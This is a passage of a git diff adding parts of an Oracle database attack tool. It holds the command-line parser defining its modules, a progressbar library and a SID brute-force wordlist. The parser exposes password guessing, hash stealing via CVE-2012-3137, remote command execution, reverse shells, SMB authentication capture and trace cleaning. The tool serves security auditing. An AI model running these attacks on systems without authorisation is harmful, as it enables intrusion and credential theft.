PPsidguesser.add_argument('--sid-charset',dest='sid-charset',required=False, default=DEFAULT_SID_CHARSET, help='charset for the sid bruteforce (default: %(default)s)') + PPsidguesser.add_argument('--sids-file',dest='sids-file',required=False,metavar="FILE",default=DEFAULT_SID_FILE, help='file containing SIDs (default: %(default)s)') + PPsidguesser.add_argument('--no-alias-like-sid',dest='no-alias-like-sid',action='store_true',required=False, help='no try listener ALIAS like SIDs (default: %(default)s)') + #1.4- Parent parser: Password Guesser + PPpassguesser = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPpassguesser._optionals.title = "password guesser options" + PPpassguesser.add_argument('--accounts-file',dest='accounts-file',required=False,metavar="FILE",default=DEFAULT_ACCOUNT_FILE,help='file containing Oracle credentials (default: %(default)s)') + PPpassguesser.add_argument('--force-retry',dest='force-retry',action='store_true',help='allow to test multiple passwords for a user without ask you') + #1.5- Parent parser: URL_HTTP + PPutlhttp = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPutlhttp._optionals.title = "http commands" + PPutlhttp.add_argument('--send',dest='send',default=None,required=False,nargs=3,metavar=('ip','port','namefile'),help='send the GET or POST request stored in namefile to ip:port') + PPutlhttp.add_argument('--scan-ports',dest='scan-ports',default=None,required=False,nargs=2,metavar=('ip','ports'),help='scan tcp ports of a remote engine') + PPutlhttp.add_argument('--save-reponse',dest='save-reponse',default=None,required=False,metavar='FILE',help='store the response server in this file') + PPutlhttp.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.5- Parent parser: HTTPURITYPE + PPhttpuritype = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPhttpuritype._optionals.title = "http commands" + PPhttpuritype.add_argument('--url',dest='httpUrl',default=None,required=False,help='send a http GET request') + PPhttpuritype.add_argument('--scan-ports',dest='scan-ports',default=None,required=False,nargs=2,metavar=('ip','ports'),help='scan tcp ports of a remote engine') + PPhttpuritype.add_argument('--save-reponse',dest='save-reponse',default=None,required=False,metavar='FILE',help='store the response server in this file') + PPhttpuritype.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.6- Parent parser: DBSMAdvisor + PPdbmsadvisor = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPdbmsadvisor._optionals.title = "DBMSAdvisor commands" + PPdbmsadvisor.add_argument('--putFile',dest='putFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteNamefile','localFile'),help='put a file on the remote database server') + PPdbmsadvisor.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.7- Parent parser: DBSMScheduler + PPdbmsscheduler = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPdbmsscheduler._optionals.title = "DBMSScheduler commands" + PPdbmsscheduler.add_argument('--exec',dest='exec',default=None,required=False,help='execute a system command on the remote system') + PPdbmsscheduler.add_argument('--reverse-shell',dest='reverse-shell',required=False,nargs=2,metavar=('ip','port'),help='get a reverse shell') + PPdbmsscheduler.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.8- Parent parser: Java + PPjava = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPjava._optionals.title = "java commands" + PPjava.add_argument('--exec',dest='exec',default=None,required=False,help='execute a system command on the remote system') + PPjava.add_argument('--shell',dest='shell',action='store_true',required=False,help='get a shell on the remote system') + PPjava.add_argument('--reverse-shell',dest='reverse-shell',required=False,nargs=2,metavar=('ip','port'),help='get a reverse shell') + PPjava.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.9- Parent parser: Ctxsys + PPctxsys = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPctxsys._optionals.title = "ctxsys commands" + PPctxsys.add_argument('--getFile',dest='getFile',default=None,required=False,help='read a file on the remote server') + PPctxsys.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.10- Parent parser: Passwords + PPpasswords = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPpasswords._optionals.title = "passwords commands" + PPpasswords.add_argument('--get-passwords',dest='get-passwords',action='store_true',required=False,help='get Oracle hashed passwords') + PPpasswords.add_argument('--get-passwords-from-history',dest='get-passwords-from-history',action='store_true',required=False,help='get Oracle hashed passwords from history') + PPpasswords.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.11- Parent parser: dbmsxslprocessor + PPdbmsxslprocessor = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPdbmsxslprocessor._optionals.title = "DBMSXslprocessor commands" + PPdbmsxslprocessor.add_argument('--putFile',dest='putFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteNamefile','localFile'),help='put a file on the remote database server') + PPdbmsxslprocessor.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.12- Parent parser: externalTable + PPexternaltable = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPexternaltable._optionals.title = "ExternalTable commands" + PPexternaltable.add_argument('--exec',dest='exec',default=None,required=False,nargs=2,metavar=('remotePath','file'),help='execute a system command on the remote system (options no allowed)') + PPexternaltable.add_argument('--getFile',dest='getFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteNamefile','localFile'),help='get a file from the remote database server') + PPexternaltable.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.13- Parent parser: utlfile + PPutlfile = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPutlfile._optionals.title = "utlfile commands" + PPutlfile.add_argument('--getFile',dest='getFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteNamefile','localFile'),help='get a file from the remote database server') + PPutlfile.add_argument('--putFile',dest='putFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteNamefile','localFile'),help='put a file to the remote database server') + PPutlfile.add_argument('--removeFile',dest='removeFile',default=None,required=False,nargs=2,metavar=('remotePath','remoteNamefile'),help='remove a file on the remote database server') + PPutlfile.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.14- Parent parser: UTL_TCP + PPutltcp = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPutltcp._optionals.title = "utltcp commands" + PPutltcp.add_argument('--send-packet',dest='send-packet',default=None,required=False,nargs=3,metavar=('ip','port','filename'),help='send a packet') + PPutltcp.add_argument('--scan-ports',dest='scan-ports',default=None,required=False,nargs=2,metavar=('ip','ports'),help='scan tcp ports of a remote engine') + PPutltcp.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.15- Parent parser: STEAL_REMOTE_PASSWORDS + PPstealRemotePass = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPstealRemotePass._optionals.title = "stealRemotePasswords commands" + PPstealRemotePass.add_argument('-s', dest='server', required=True, help='server') + PPstealRemotePass.add_argument('-p', dest='port', default=1521, required=False, help='port (Default 1521)') + PPstealRemotePass.add_argument('-d', dest='sid', required=False, help='Oracle System ID (SID)') + PPstealRemotePass.add_argument('-U', dest='user', required=False, help='Valid Oracle username') + PPstealRemotePass.add_argument('-P', dest='password', required=False, default=None, help='Valid Oracle password') + PPstealRemotePass.add_argument('--get-all-passwords',dest='get-all-passwords',action='store_true',default=None,required=False,help='get all hashed passwords thanks to the user/password list') + PPstealRemotePass.add_argument('--decrypt-sessions',dest='decrypt-sessions',nargs=2,metavar=('sessionList.txt','passwordList.txt'),default=None,required=False,help='decrypt sessions stored in a file') + PPstealRemotePass.add_argument('--user-list',dest='user-list',required=False,metavar="FILE",default=DEFAULT_ACCOUNT_FILE,help='file containing Oracle credentials (default: %(default)s)') + PPstealRemotePass.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.16- Parent parser: Oradbg + PPoradbg = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPoradbg._optionals.title = "oradbg commands" + PPoradbg.add_argument('--exec',dest='exec',default=None,required=False,help='execute a system command on the remote system (no args allowed)') + PPoradbg.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.12- Parent parser: DBMS_LOB + PPdbmsLob = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPdbmsLob._optionals.title = "DBMS_LOB commands (new)" + PPdbmsLob.add_argument('--getFile',dest='getFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteNamefile','localFile'),help='get a file from the remote database server') + PPdbmsLob.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.17- Parent parser: usernamelikepassword + PPusernamelikepassword = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPusernamelikepassword._optionals.title = "usernamelikepassword commands" + PPusernamelikepassword.add_argument('--run',dest='run',action='store_true',required=True,help='try to connect using each Oracle username like the password') + PPusernamelikepassword.add_argument('--force-retry',dest='force-retry',action='store_true',help='allow to test multiple passwords for a user without ask you') + #1.18- Parent parser: smb + PPsmb = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPsmb._optionals.title = "smb commands" + PPsmb.add_argument('--capture',dest='captureSMBAuthentication',default=None,required=False,nargs=2,metavar=('local_ip','share_name'),help='capture the smb authentication') + PPsmb.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.19- Parent parser: search + PPsearch = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPsearch._optionals.title = "search commands" + PPsearch.add_argument('--column-names',dest='column-names',default=None,required=False,metavar='sqlPattern',help='search pattern in all collumns') + PPsearch.add_argument('--pwd-column-names',dest='pwd-column-names',action='store_true',help='search password patterns in all collumns') + PPsearch.add_argument('--show-empty-columns',dest='show-empty-columns',action='store_true',help='show columns even if columns are empty') + PPsearch.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.20- Parent parser: unwrapper + PPunwrapper = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPunwrapper._optionals.title = "unwrapper commands" + PPunwrapper.add_argument('--object-name',dest='object-name',default=None,required=False,help='unwrap this object stored in the database') + PPunwrapper.add_argument('--file',dest='file',default=None,required=False,help='unwrap the source code stored in a file') + PPunwrapper.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.21- Parent parser: clean + PPclean = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPclean._optionals.title = "clean commands" + PPclean.add_argument('--all',dest='all',action='store_true',required=True,help='clean all traces and logs stored locally') + #2- main commands + subparsers = parser.add_subparsers(help='\nChoose a main command') + #2.a- Run all modules + parser_all = subparsers.add_parser('all',parents=[PPoptional,PPconnection,PPallModule,PPoutput,PPsidguesser,PPpassguesser],help='to run all modules in order to know what it is possible to do') + parser_all.set_defaults(func=runAllModules,auditType='all') + #2.b- tnscmd + parser_tnscmd = subparsers.add_parser('tnscmd',parents=[PPoptional,PPconnection,PPTnsCmd,PPoutput],help='to communicate with the TNS listener') + parser_tnscmd.set_defaults(func=runTnsCmdModule,auditType='tnscmd') + #2.b- SIDGuesser + parser_sidGuesser = subparsers.add_parser('sidguesser',parents=[PPoptional,PPconnection,PPsidguesser,PPoutput],help='to know valid SIDs') + parser_sidGuesser.set_defaults(func=runSIDGuesserModule,auditType='sidGuesser') + #2.c- PasswordGuesser + parser_passwordGuesser = subparsers.add_parser('passwordguesser',parents=[PPoptional,PPconnection,PPpassguesser,PPoutput],help='to know valid credentials') + parser_passwordGuesser.set_defaults(func=runPasswordGuesserModule,auditType='passwordGuesser') + #2.d- UTL_HTTP + parser_utlhttp = subparsers.add_parser('utlhttp',parents=[PPoptional,PPconnection,PPutlhttp,PPoutput],help='to send HTTP requests or to scan ports') + parser_utlhttp.set_defaults(func=runUtlHttpModule,auditType='utl_http') + #2.e- HTTPURITYPE + parser_httpuritype = subparsers.add_parser('httpuritype',parents=[PPoptional,PPconnection,PPhttpuritype,PPoutput],help='to send HTTP requests or to scan ports') + parser_httpuritype.set_defaults(func=runHttpUriTypeModule,auditType='httpuritype') + #2.e- UTL_TCP + parser_utltcp = subparsers.add_parser('utltcp',parents=[PPoptional,PPconnection,PPutltcp,PPoutput],help='to scan ports') + parser_utltcp.set_defaults(func=runUtlTcpModule,auditType='utltcp') + #2.f- CTXSYS + parser_ctxsys = subparsers.add_parser('ctxsys',parents=[PPoptional,PPconnection,PPctxsys,PPoutput],help='to read files') + parser_ctxsys.set_defaults(func=runCtxsysModule,auditType='ctxsys') + #2.g- EXTERNAL TABLE + parser_externaltable = subparsers.add_parser('externaltable',parents=[PPoptional,PPconnection,PPexternaltable,PPoutput],help='to read files or to execute system commands/scripts') + parser_externaltable.set_defaults(func=runExternalTableModule,auditType='externaltable') + #2.h- DBMS_XSLPROCESSOR + parser_dbmsxslprocessor = subparsers.add_parser('dbmsxslprocessor',parents=[PPoptional,PPconnection,PPdbmsxslprocessor,PPoutput],help='to upload files') + parser_dbmsxslprocessor.set_defaults(func=runDbmsXslprocessorModule,auditType='dbmsxslprocessor') + #2.i- DBMSADVISOR + parser_dbmsadvisor = subparsers.add_parser('dbmsadvisor',parents=[PPoptional,PPconnection,PPdbmsadvisor,PPoutput],help='to upload files') + parser_dbmsadvisor.set_defaults(func=runDbmsadvisorModule,auditType='dbmsadvisor') + #2.j- UTL_FILE + parser_utlfile = subparsers.add_parser('utlfile',parents=[PPoptional,PPconnection,PPutlfile,PPoutput],help='to download/upload/delete files') + parser_utlfile.set_defaults(func=runUtlFileModule,auditType='utlfile') + #2.k- DBMSSCHEDULER + parser_dbmsscheduler = subparsers.add_parser('dbmsscheduler',parents=[PPoptional,PPconnection,PPdbmsscheduler,PPoutput],help='to execute system commands without a standard output') + parser_dbmsscheduler.set_defaults(func=runDbmsSchedulerModule,auditType='dbmsscheduler') + #2.l- JAVA + parser_java = subparsers.add_parser('java',parents=[PPoptional,PPconnection,PPjava,PPoutput],help='to execute system commands') + parser_java.set_defaults(func=runjavaModule,auditType='java') + #2.m- Passwords + parser_passwords = subparsers.add_parser('passwordstealer',parents=[PPoptional,PPconnection,PPpasswords,PPoutput],help='to get hashed Oracle passwords') + parser_passwords.set_defaults(func=runPasswordsModule,auditType='passwords') + #2.n- Oradbg + parser_oradbg = subparsers.add_parser('oradbg',parents=[PPoptional,PPconnection,PPoradbg,PPoutput],help='to execute a bin or script') + parser_oradbg.set_defaults(func=runOradbgModule,auditType='oradbg') + #2.o- DBMS_LOB + parser_dbmslob = subparsers.add_parser('dbmslob',parents=[PPoptional,PPconnection,PPdbmsLob,PPoutput],help='to download files') + parser_dbmslob.set_defaults(func=runDbmsLob,auditType='dbmslob') + #2.o- steal Passwords (CVE-2012-313) + parser_passwords = subparsers.add_parser('stealremotepwds',parents=[PPoptional,PPstealRemotePass,PPoutput],help='to steal hashed passwords thanks an authentication sniffing (CVE-2012-3137)') + parser_passwords.set_defaults(func=runCVE20123137Module,auditType='passwords') + #2.p- username like password + parser_usernamelikepassword = subparsers.add_parser('userlikepwd',parents=[PPoptional,PPconnection,PPusernamelikepassword,PPoutput],help='to try each Oracle username stored in the DB like the corresponding pwd') + parser_usernamelikepassword.set_defaults(func=runUsernameLikePassword,auditType='usernamelikepassword') + #2.q- smb + parser_smb = subparsers.add_parser('smb',parents=[PPoptional,PPconnection,PPsmb,PPoutput],help='to capture the SMB authentication') + parser_smb.set_defaults(func=runSMBModule,auditType='smb') + #2.r- search + parser_search = subparsers.add_parser('search',parents=[PPoptional,PPconnection,PPsearch,PPoutput],help='to search in databases, tables and columns') + parser_search.set_defaults(func=runSearchModule,auditType='search') + #2.s- PPunwrapper + parser_unwrapper = subparsers.add_parser('unwrapper',parents=[PPoptional,PPconnection,PPunwrapper,PPoutput],help='to unwrap PL/SQL source code (no for 9i version)') + parser_unwrapper.set_defaults(func=runUnwrapperModule,auditType='unwrapper') + #2.t- clean + parser_clean = subparsers.add_parser('clean',parents=[PPoptional,PPclean,PPoutput],help='clean traces and logs') + parser_clean.set_defaults(func=runClean,auditType='clean') + #3- parse the args + if ARGCOMPLETE_AVAILABLE == True : argcomplete.autocomplete(parser) + args = dict(parser.parse_args()._get_kwargs()) + arguments = parser.parse_args() + #4- Configure logging and output + configureLogging(args) + args['print'] = Output(args) + #5- define encoding + reload(sys) + sys.setdefaultencoding(args['encoding']) + #Start the good function + if args['auditType']=='unwrapper' or args['auditType']=='clean': pass + else: + if ipOrNameServerHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT + arguments.func(args) + exit(ALL_IS_OK) + + +if __name__ == "__main__": + main() + diff --git a/pictures/ODAT_main_features_v1.1.jpg b/pictures/ODAT_main_features_v1.1.jpg new file mode 100644 index 0000000..90f7a01 Binary files /dev/null and b/pictures/ODAT_main_features_v1.1.jpg differ diff --git a/progressbar.py b/progressbar.py new file mode 100644 index 0000000..c5510af --- /dev/null +++ b/progressbar.py @@ -0,0 +1,304 @@ +#!/usr/bin/python +# -*- coding: iso-8859-1 -*- +# +# progressbar - Text progressbar library for python. +# Copyright (c) 2005 Nilton Volpato +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + + +"""Text progressbar library for python. + +This library provides a text mode progressbar. This is tipically used +to display the progress of a long running operation, providing a +visual clue that processing is underway. + +The ProgressBar class manages the progress, and the format of the line +is given by a number of widgets. A widget is an object that may +display diferently depending on the state of the progress. There are +three types of widget: +- a string, which always shows itself; +- a ProgressBarWidget, which may return a diferent value every time +it's update method is called; and +- a ProgressBarWidgetHFill, which is like ProgressBarWidget, except it +expands to fill the remaining width of the line. + +The progressbar module is very easy to use, yet very powerful. And +automatically supports features like auto-resizing when available. +""" + +__author__ = "Nilton Volpato" +__author_email__ = "first-name dot last-name @ gmail.com" +__date__ = "2006-05-07" +__version__ = "2.2" + +# Changelog +# +# 2006-05-07: v2.2 fixed bug in windows +# 2005-12-04: v2.1 autodetect terminal width, added start method +# 2005-12-04: v2.0 everything is now a widget (wow!) +# 2005-12-03: v1.0 rewrite using widgets +# 2005-06-02: v0.5 rewrite +# 2004-??-??: v0.1 first version + + +import sys, time +from array import array +try: + from fcntl import ioctl + import termios +except ImportError: + pass +import signal + +class ProgressBarWidget(object): + """This is an element of ProgressBar formatting. + + The ProgressBar object will call it's update value when an update + is needed. It's size may change between call, but the results will + not be good if the size changes drastically and repeatedly. + """ + def update(self, pbar): + """Returns the string representing the widget. + + The parameter pbar is a reference to the calling ProgressBar, + where one can access attributes of the class for knowing how + the update must be made. + + At least this function must be overriden.""" + pass + +class ProgressBarWidgetHFill(object): + """This is a variable width element of ProgressBar formatting. + + The ProgressBar object will call it's update value, informing the + width this object must the made. This is like TeX \\hfill, it will + expand to fill the line. You can use more than one in the same + line, and they will all have the same width, and together will + fill the line. + """ + def update(self, pbar, width): + """Returns the string representing the widget. + + The parameter pbar is a reference to the calling ProgressBar, + where one can access attributes of the class for knowing how + the update must be made. The parameter width is the total + horizontal width the widget must have. + + At least this function must be overriden.""" + pass + + +class ETA(ProgressBarWidget): + "Widget for the Estimated Time of Arrival" + def format_time(self, seconds): + return time.strftime('%H:%M:%S', time.gmtime(seconds)) + def update(self, pbar): + if pbar.currval == 0: + return 'ETA: --:--:--' + elif pbar.finished: + return 'Time: %s' % self.format_time(pbar.seconds_elapsed) + else: + elapsed = pbar.seconds_elapsed + eta = elapsed * pbar.maxval / pbar.currval - elapsed + return 'ETA: %s' % self.format_time(eta) + +class FileTransferSpeed(ProgressBarWidget): + "Widget for showing the transfer speed (useful for file transfers)." + def __init__(self): + self.fmt = '%6.2f %s' + self.units = ['B','K','M','G','T','P'] + def update(self, pbar): + if pbar.seconds_elapsed < 2e-6:#== 0: + bps = 0.0 + else: + bps = float(pbar.currval) / pbar.seconds_elapsed + spd = bps + for u in self.units: + if spd < 1000: + break + spd /= 1000 + return self.fmt % (spd, u+'/s') + +class RotatingMarker(ProgressBarWidget): + "A rotating marker for filling the bar of progress." + def __init__(self, markers='|/-\\'): + self.markers = markers + self.curmark = -1 + def update(self, pbar): + if pbar.finished: + return self.markers[0] + self.curmark = (self.curmark + 1)%len(self.markers) + return self.markers[self.curmark] + +class Percentage(ProgressBarWidget): + "Just the percentage done." + def update(self, pbar): + return '%3d%%' % pbar.percentage() + +class Bar(ProgressBarWidgetHFill): + "The bar of progress. It will strech to fill the line." + def __init__(self, marker='#', left='|', right='|'): + self.marker = marker + self.left = left + self.right = right + def _format_marker(self, pbar): + if isinstance(self.marker, (str, unicode)): + return self.marker + else: + return self.marker.update(pbar) + def update(self, pbar, width): + percent = pbar.percentage() + cwidth = width - len(self.left) - len(self.right) + marked_width = int(percent * cwidth / 100) + m = self._format_marker(pbar) + bar = (self.left + (m*marked_width).ljust(cwidth) + self.right) + return bar + +class ReverseBar(Bar): + "The reverse bar of progress, or bar of regress. :)" + def update(self, pbar, width): + percent = pbar.percentage() + cwidth = width - len(self.left) - len(self.right) + marked_width = int(percent * cwidth / 100) + m = self._format_marker(pbar) + bar = (self.left + (m*marked_width).rjust(cwidth) + self.right) + return bar + +default_widgets = [Percentage(), ' ', Bar()] +class ProgressBar(object): + """This is the ProgressBar class, it updates and prints the bar. + + The term_width parameter may be an integer. Or None, in which case + it will try to guess it, if it fails it will default to 80 columns. + + The simple use is like this: + >>> pbar = ProgressBar().start() + >>> for i in xrange(100): + ... # do something + ... pbar.update(i+1) + ... + >>> pbar.finish() + + But anything you want to do is possible (well, almost anything). + You can supply different widgets of any type in any order. And you + can even write your own widgets! There are many widgets already + shipped and you should experiment with them. + + When implementing a widget update method you may access any + attribute or function of the ProgressBar object calling the + widget's update method. The most important attributes you would + like to access are: + - currval: current value of the progress, 0 <= currval <= maxval + - maxval: maximum (and final) value of the progress + - finished: True if the bar is have finished (reached 100%), False o/w + - start_time: first time update() method of ProgressBar was called + - seconds_elapsed: seconds elapsed since start_time + - percentage(): percentage of the progress (this is a method) + """ + def __init__(self, maxval=100, widgets=default_widgets, term_width=None, + fd=sys.stdout): + assert maxval > 0 + self.maxval = maxval + self.widgets = widgets + self.fd = fd + self.signal_set = False + if term_width is None: + try: + self.handle_resize(None,None) + signal.signal(signal.SIGWINCH, self.handle_resize) + self.signal_set = True + except: + self.term_width = 79 + else: + self.term_width = term_width + + self.currval = 0 + self.finished = False + self.prev_percentage = -1 + self.start_time = None + self.seconds_elapsed = 0 + + def handle_resize(self, signum, frame): + h,w=array('h', ioctl(self.fd,termios.TIOCGWINSZ,'\0'*8))[:2] + self.term_width = w + + def percentage(self): + "Returns the percentage of the progress." + return self.currval*100.0 / self.maxval + + def _format_widgets(self): + r = [] + hfill_inds = [] + num_hfill = 0 + currwidth = 0 + for i, w in enumerate(self.widgets): + if isinstance(w, ProgressBarWidgetHFill): + r.append(w) + hfill_inds.append(i) + num_hfill += 1 + elif isinstance(w, (str, unicode)): + r.append(w) + currwidth += len(w) + else: + weval = w.update(self) + currwidth += len(weval) + r.append(weval) + for iw in hfill_inds: + r[iw] = r[iw].update(self, (self.term_width-currwidth)/num_hfill) + return r + + def _format_line(self): + return ''.join(self._format_widgets()).ljust(self.term_width) + + def _need_update(self): + return int(self.percentage()) != int(self.prev_percentage) + + def update(self, value): + "Updates the progress bar to a new value." + assert 0 <= value <= self.maxval + self.currval = value + if not self._need_update() or self.finished: + return + if not self.start_time: + self.start_time = time.time() + self.seconds_elapsed = time.time() - self.start_time + self.prev_percentage = self.percentage() + if value != self.maxval: + self.fd.write(self._format_line() + '\r') + else: + self.finished = True + self.fd.write(self._format_line() + '\n') + + def start(self): + """Start measuring time, and prints the bar at 0%. + + It returns self so you can use it like this: + >>> pbar = ProgressBar().start() + >>> for i in xrange(100): + ... # do something + ... pbar.update(i+1) + ... + >>> pbar.finish() + """ + self.update(0) + return self + + def finish(self): + """Used to tell the progress is finished.""" + self.update(self.maxval) + if self.signal_set: + signal.signal(signal.SIGWINCH, signal.SIG_DFL) + diff --git a/sids.txt b/sids.txt new file mode 100644 index 0000000..aaf65bb --- /dev/null +++ b/sids.txt @@ -0,0 +1,736 @@ +ADV1 +ADVCPROD +AIX10 +AIX11 +AIX9 +APEX +ARIS +ASDB +ASDB0 +ASDB1 +ASDB2 +ASDB3 +ASDB4 +ASDB5 +ASDB6 +ASDB7 +ASDB8 +ASDB9 +ASG817 +ASG817P +ASG817T +ATRPROD +ATRTEST +BLA +BOOKS +BUDGET +C630 +CTM4_0 +CTM4_1 +CTM4_6 +CTM4_7 +D +D10 +D8 +D9 +DB +DB01 +DB02 +DB03 +DB1 +DB2 +DB2EDU +DB2PROD +DB2TEST +DB3 +DBA +DBA1 +DBA2 +DBA3 +DBA4 +DBA5 +DBA6 +DBA7 +DBA8 +DBA9 +DBX +DEMO +DEV +DEV0 +DEV01 +DEV1 +DEV2 +DEV3 +DEV4 +DEV5 +DEV6 +DEV7 +DEV8 +DEV9 +DEVEL +DIA1 +DIA2 +DIS +DWH +DWHDB +DWHPROD +DWHTEST +DWRHS +EARTH +ELCARO +EMRS2 +EOF +ERP +ESOR +FINDEC +FINPROD +FNDFS_HR1 +FNDFS_HR2 +FPRD +GR01 +GR02 +GR03 +HCDMO +HEDGEHOG +HPUX10 +HPUX11 +HPUX9 +HR +HR0 +HR1 +HR2 +HR3 +HR4 +HR5 +HR6 +HR7 +HR8 +HR9 +HRDMO +HTMLDB +IAGTS +IASDB +INCD +ISD01 +ISD06 +ISP +ISP01 +ISP1 +ISP2 +ISQ1 +ITS +IXOS +KRAUS +KRONOS +LDAP +LIN10 +LIN11 +LIN9 +LINUX101 +LINUX1011 +LINUX1012 +LINUX1013 +LINUX1014 +LINUX1015 +LINUX102 +LINUX1021 +LINUX1022 +LINUX1023 +LINUX1024 +LINUX1025 +LINUX111 +LINUX11106 +LINUX11107 +LINUX112 +LINUX11201 +LINUX817 +LINUX8171 +LINUX8172 +LINUX8173 +LINUX8174 +LINUX901 +LINUX902 +LINUX9021 +LINUX9022 +LINUX9023 +LINUX9024 +LINUX9025 +LINUX9026 +LINUX9027 +LINUX9028 +LINUX92 +LINUX9208 +LUN +MDTEST +MSAM +MV713 +MYDB +NEDB +NORTHWIND +OAS +OAS1 +OAS10 +OAS2 +OAS3 +OAS4 +OAS5 +OAS6 +OAS7 +OAS8 +OAS9 +ODB +OEMREP +OGDP +OID +OJS +OMS +OPENVIEW +ORA +ORA1 +ORA10 +ORA101 +ORA10101 +ORA10101P +ORA10101T +ORA10102 +ORA10102P +ORA10102T +ORA10103 +ORA10103P +ORA10103T +ORA10104 +ORA10104P +ORA10104T +ORA10105 +ORA10105P +ORA10105T +ORA1011 +ORA1011P +ORA1011T +ORA1012 +ORA1012P +ORA1012T +ORA1013 +ORA1013P +ORA1013T +ORA1014 +ORA1014P +ORA1014T +ORA1015 +ORA1015P +ORA1015T +ORA1021 +ORA1021P +ORA1021T +ORA1022 +ORA1022P +ORA1022T +ORA1023 +ORA1023P +ORA1023T +ORA1024 +ORA1024P +ORA1024T +ORA1025 +ORA1025P +ORA1025T +ORA11 +ORA111 +ORA11106 +ORA11107 +ORA112 +ORA11201 +ORA11202 +ORA11G +ORA2 +ORA3 +ORA4 +ORA5 +ORA6 +ORA7 +ORA8 +ORA805 +ORA806 +ORA815 +ORA816 +ORA817 +ORA8170 +ORA8170P +ORA8170T +ORA8171 +ORA8171P +ORA8171T +ORA8172 +ORA8172P +ORA8172T +ORA8173 +ORA8173P +ORA8173T +ORA8174 +ORA8174P +ORA8174T +ORA8_SC +ORA9 +ORA910 +ORA920 +ORA9201 +ORA9201P +ORA9201T +ORA9202 +ORA9202P +ORA9202T +ORA9203 +ORA9203P +ORA9203T +ORA9204 +ORA9204P +ORA9204T +ORA9205 +ORA9205P +ORA9205T +ORA9206 +ORA9206P +ORA9206T +ORA9207 +ORA9207P +ORA9207T +ORA9208 +ORA9208P +ORA9208T +ORACL +ORACLE +ORADB +ORADB1 +ORADB2 +ORADB3 +ORALIN +ORCL +ORCL0 +ORCL1 +ORCL10 +ORCL10G +ORCL11 +ORCL11G +ORCL2 +ORCL3 +ORCL4 +ORCL5 +ORCL6 +ORCL7 +ORCL8 +ORCL9 +ORCLA +ORCLB +ORCLC +ORCLD 